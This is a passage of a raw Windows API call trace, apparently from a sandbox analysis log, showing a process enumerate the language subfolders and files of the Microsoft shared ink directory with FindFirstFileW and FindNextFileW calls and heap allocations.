nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0214.245] GetProcessHeap () returned 0xc10000 [0214.245] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0214.245] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.245] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.245] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.245] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0214.246] GetProcessHeap () returned 0xc10000 [0214.246] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.246] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0214.246] GetProcessHeap () returned 0xc10000 [0214.246] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.248] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.249] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.249] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.249] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0214.249] GetProcessHeap () returned 0xc10000 [0214.249] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.249] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0214.249] GetProcessHeap () returned 0xc10000 [0214.249] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0214.250] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.250] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.250] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.250] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0214.250] GetProcessHeap () returned 0xc10000 [0214.250] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.250] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0214.250] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0214.250] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0214.251] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0214.251] GetProcessHeap () returned 0xc10000 [0214.251] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.251] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.252] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.252] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.252] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0214.252] GetProcessHeap () returned 0xc10000 [0214.252] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.252] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0214.252] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0214.253] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0214.253] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0214.253] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0214.253] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0214.253] GetProcessHeap () returned 0xc10000 [0214.253] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.254] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.254] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.254] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.254] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0214.254] GetProcessHeap () returned 0xc10000 [0214.254] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.254] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0214.254] GetProcessHeap () returned 0xc10000 [0214.254] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0214.255] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.255] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.256] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.256] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0214.256] GetProcessHeap () returned 0xc10000 [0214.256] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.256] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0214.256] GetProcessHeap () returned 0xc10000 [0214.256] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0214.256] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.257] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.257] FindNextFileW (in: hFindFile=0x33e4f68, 